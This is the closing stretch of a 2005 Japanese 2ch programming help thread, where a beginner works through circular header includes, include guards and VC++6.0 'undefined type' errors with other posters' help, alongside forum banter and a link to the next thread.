もっとパーっと放射状に飛ばしたほうがいいんでしょうか。
質問ばっかしてすみません。
0926デフォルトの名無しさん
2005/11/30(水) 03:33:45放射状
0927デフォルトの名無しさん
2005/11/30(水) 03:34:34アイデアをパクるか使い易さをパクるかの違い…
じゃなくて単に劣化してるから。
0928デフォルトの名無しさん
2005/11/30(水) 03:47:38すでにあるものを作りたいってのはよくわかんないけどね。
0929デフォルトの名無しさん
2005/11/30(水) 03:59:45俺がパクリじゃね?って言ったのはこっち→ttp://nagoya.cool.ne.jp/o_mega/product/e2.html
誘爆のシステムとかがモロで
0930デフォルトの名無しさん
2005/11/30(水) 07:04:04いやインスパイy
0931デフォルトの名無しさん
2005/11/30(水) 08:52:550932デフォルトの名無しさん
2005/11/30(水) 09:33:070933デフォルトの名無しさん
2005/11/30(水) 13:26:440934デフォルトの名無しさん
2005/11/30(水) 13:53:290935デフォルトの名無しさん
2005/11/30(水) 14:09:40すま、よく見てなかった
0936デフォルトの名無しさん
2005/11/30(水) 16:43:28全てをありのまま受け入れるのがVIP
0937デフォルトの名無しさん
2005/11/30(水) 16:56:170938デフォルトの名無しさん
2005/11/30(水) 18:41:01たぶん
バカデカイ配列変数を関数内で宣言してるだろ
0939デフォルトの名無しさん
2005/11/30(水) 18:49:19なんのために100万個もw
しかも数字の点打つとこ間違ってるしww
0940みずき ◆WnmizUKIg6
NGNG100,00,00個吹いた
0941デフォルトの名無しさん
2005/11/30(水) 18:55:270942みずき ◆WnmizUKIg6
NGNGヽ(*´∀`*)ノキャッキャ
0943デフォルトの名無しさん
2005/11/30(水) 19:36:40int main(int argc, char *argv[])
{
printf("%s¥n", argv[0]);
argv[0] = "VIP";
printf("%s¥n", argv[0]);
return 0;
}
0944デフォルトの名無しさん
2005/11/30(水) 20:09:390945デフォルトの名無しさん
2005/11/30(水) 20:28:19意味ワカンネ ┐(´ー`)┌
0946デフォルトの名無しさん
2005/11/30(水) 20:47:31とりあえずソース晒すよろし
0947デフォルトの名無しさん
2005/11/30(水) 21:03:520948デフォルトの名無しさん
2005/11/30(水) 21:05:140949945
2005/11/30(水) 22:13:02#ifndef aaa
#define aaa
#endif
んー、基本的にはヘッダを↑みたなので囲めば
大丈夫なんですよね?
0950デフォルトの名無しさん
2005/11/30(水) 22:14:350951デフォルトの名無しさん
2005/11/30(水) 22:17:00たぶん、関数の実装をヘッダに書いちゃってる悪寒。
0953デフォルトの名無しさん
2005/11/30(水) 23:13:53何のエラーでてるかわからんと何とも言えないよね
0954デフォルトの名無しさん
2005/11/30(水) 23:47:36とりあえずソース晒すよろし
0955デフォルトの名無しさん
2005/12/01(木) 12:07:520956デフォルトの名無しさん
2005/12/01(木) 12:32:55お引き取り下さい
0957デフォルトの名無しさん
2005/12/01(木) 16:36:13ttp://www.vipper.org/vip150503.zip
ttp://www.vipper.org/vip150504.zip
ヘッダに実装ありバージョンと実装無しバージョンのテストです。
ヘッダに実装ありの方はエラー出ます。
ちゃんとソースの方に実装を分けたらエラーでなくなりました。
これで成功?
昨日エラーが出たやつも、これから実装をソースにわけてみます。
どもありがとー!
でもファイルがいっぱいあると管理が大変になるよ orz
0958デフォルトの名無しさん
2005/12/01(木) 16:45:05ヘッダに実装書いてるやつ
ソース側じゃなくヘッダ側にiostreamインクルードしたらおkなんじゃね?
0959デフォルトの名無しさん
2005/12/01(木) 16:49:11#ifndef CCCC
#define CCCC
#include <iostream>
using namespace std;
#include "a.h"
#include "b.h"
class A;
class B;
class C
{
public:
int n;
C () { n = 3; }
void func1 () { cout << n << endl; }
void func2 (A a, B b) {}
};
#endif
こうですかね?
これではダメでした。
0960デフォルトの名無しさん
2005/12/01(木) 16:56:150961957
2005/12/01(木) 17:00:32using namespace std;
#include "a.h"
#include "b.h"
#include "c.h"
int main ()
{
A a;
B b;
C c;
a.func2(b, c);
b.func2(a, b);
c.func2(b, c);
return 0;
}
>>960
すいませんこうでした。 ><
0962デフォルトの名無しさん
2005/12/01(木) 17:05:01void func2 (A a, C c) {}
c.func2は
void func2 (A a, B b) {}
って宣言されてるから01.cppでは
b.func2(a, c);
c.func2(a, b);
って呼ばないとエラー。
0963957
2005/12/01(木) 17:12:54うあ、すみません、修正版です ><
0964デフォルトの名無しさん
2005/12/01(木) 17:17:13それだとエラーでなくないか?
0965957
2005/12/01(木) 17:22:41VC++6.0 Standardだと以下のエラーが。
コンパイル中...
01.cpp
f:\my_program\cプラプラ実験\ファイル分割_01\c.h(22) : error C2027: 認識できない型 'B' が使われています。
f:\my_program\cプラプラ実験\ファイル分割_01\c.h(14) : 'B' の宣言を確認してください。
F:\MY_PROGRAM\Cプラプラ実験\ファイル分割_01\01.cpp(23) : error C2079: 'b' が 未定義の class 'B' で使用されています。
F:\MY_PROGRAM\Cプラプラ実験\ファイル分割_01\01.cpp(26) : error C2664: 'func2' : 1 番目の引数を 'int' から 'class B' に変換できません。 (新しい機能 ; ヘルプを参照)
ソースまたはターゲットが不完全な型を含んでいます。
F:\MY_PROGRAM\Cプラプラ実験\ファイル分割_01\01.cpp(27) : error C2228: '.func2' : 左側がクラス、構造体、共用体ではありません。
F:\MY_PROGRAM\Cプラプラ実験\ファイル分割_01\01.cpp(28) : error C2664: 'func2' : 2 番目の引数を 'int' から 'class B' に変換できません。 (新しい機能 ; ヘルプを参照)
ソースまたはターゲットが不完全な型を含んでいます。
cl.exe の実行エラー
ファイル分割_01.exe - エラー 5、警告 0
//-----------------------------------------------
で、mainを return 0 以外全部コメントアウトすると以下のエラーが。
コンパイル中...
01.cpp
f:\my_program\cプラプラ実験\ファイル分割_01\c.h(22) : error C2027: 認識できない型 'B' が使われています。
f:\my_program\cプラプラ実験\ファイル分割_01\c.h(14) : 'B' の宣言を確認してください。
cl.exe の実行エラー
ファイル分割_01.exe - エラー 1、警告 0
0966デフォルトの名無しさん
2005/12/01(木) 17:35:20BCB32だと普通に通る。
エラー見るとBの定義がされてないっぽいんだが
b.hだけ別のフォルダにあったりしない?
0967デフォルトの名無しさん
2005/12/01(木) 17:35:41#includeを順番におっかけていってみよう。"b.h"がincludeされる前に"c.h"がincludeされちゃうね。
0968957
2005/12/01(木) 17:37:180969967
2005/12/01(木) 17:38:48訂正。"b.h"でclass Bが宣言される前に"c.h"がincludeされてclass Cが宣言されちゃう。
0970957
2005/12/01(木) 17:46:43うらやますぃ。
>>969
どれからインクルードされてもいいように、
それぞれのヘッダの上の方で #include "○○.h"ってのを呼んでるつもりなのですが
そういう問題じゃないんですかね orz
てゆか、なんで上から順番どおり読んでくれんのだぁ (T_T)
>>968 w
0971967
2005/12/01(木) 17:49:14上から順番に読んでるよ。
"01.cpp"の#include "a.h"から順番に考えていってごらん。
0972957
2005/12/01(木) 17:55:46えーと、、まず
01.cppでa.hが呼ばれて、
a.hでb.hが呼ばれて、
b.hでa.hがスルーされてc.hが呼ばれて、
c.hでa.hとb.hがスルーされて・・
ん?ここで止まる!?
もうわけわかめ
0973デフォルトの名無しさん
2005/12/01(木) 18:05:11それでゴール。#includeは、ファイルの中身をまるごとソースにコピペするだけ。
>>972の順番で、"01.cpp"の#includeと対応するヘッダファイルを差し替えてみてごらん。
0974957
2005/12/01(木) 18:37:27#includeってコピペだったのね ^^
↓みたいな流れで止まってるのかなぁ。
// 01.cpp
#include iostream
↓
// a.h
↓
// b.h
↓
// c.h
class A: // ←宣言だけ?関数プロトタイプみたいな??
class B:
class C {
public:
int n;
C () { n = 3; }
void func1 () { cout << n << endl; }
void func2 (A a, B b) {} // ←ここで止まる?
↑のfunc2()で宣言だけされてて、
中身がなんなのかわからない型AとBを使おうとしてるから止まる??
しかもAとBのうち、なぜか右に書いてあるBから判定してるみたい。 func2()を
void func2 (B b, A a) {}
とすると、エラーは「認識できない型 'A' が使われています。 」ってなる。
これでいいでしょか ('A`)
0975デフォルトの名無しさん
2005/12/01(木) 18:42:380976デフォルトの名無しさん
2005/12/01(木) 18:46:46class B;
じゃなかったっけ?
0977デフォルトの名無しさん
2005/12/01(木) 18:56:240978デフォルトの名無しさん
2005/12/01(木) 18:57:26でした orz
ちなみに昨日エラーが出たプログラムは
ヘッダは11、ソースが3。ファイル合計14。
ヘッダの実装をソースに移すと全部で20超えるか。
あと3時間で終わるかな・・。
0979デフォルトの名無しさん
2005/12/01(木) 19:06:43ちなみに今回の場合、ヘッダに実装を書いたがゆえの多重定義云々じゃなくて、
ファイルの分割方法に問題があったと思われ。
0980デフォルトの名無しさん
2005/12/01(木) 19:10:30今CからC++のクラスを使う関数の呼ぼうとしてはまってるんだけど undefined reference to `operator new(unsigned int)'って言われてビルドできない。
g++でビルドしてるのに…
0981デフォルトの名無しさん
2005/12/01(木) 19:21:590982デフォルトの名無しさん
2005/12/01(木) 19:23:050983デフォルトの名無しさん
2005/12/01(木) 19:26:06テンプレは
>>2
>>4
>>5
>>6
でおk?
0984デフォルトの名無しさん
2005/12/01(木) 20:55:310985デフォルトの名無しさん
2005/12/01(木) 20:56:550986デフォルトの名無しさん
2005/12/01(木) 21:01:22>>979
うはwごめww
ってことで、スレ立ててきまっす。
【VIPPERでもわかるプログラミング 2】
でいいですよね。
0987デフォルトの名無しさん
2005/12/01(木) 21:07:48/*VIPPERでもわかるプログラミング ver.3*/
がいいとおもう
0989986
2005/12/01(木) 21:12:07http://pc8.2ch.net/test/read.cgi/tech/1133438540/
ごめ・・・やっちゃった orz
0990デフォルトの名無しさん
2005/12/01(木) 21:15:000991デフォルトの名無しさん
2005/12/01(木) 21:15:090992デフォルトの名無しさん
2005/12/01(木) 21:15:200993デフォルトの名無しさん
2005/12/01(木) 21:15:550994デフォルトの名無しさん
2005/12/01(木) 21:16:290995デフォルトの名無しさん
2005/12/01(木) 21:17:300996デフォルトの名無しさん
2005/12/01(木) 21:17:410997みずき ◆WnmizUKIg6
NGNG0998デフォルトの名無しさん
2005/12/01(木) 21:18:280999デフォルトの名無しさん
2005/12/01(木) 21:19:021000デフォルトの名無しさん
2005/12/01(木) 21:19:0710011001
Over 1000Threadもう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。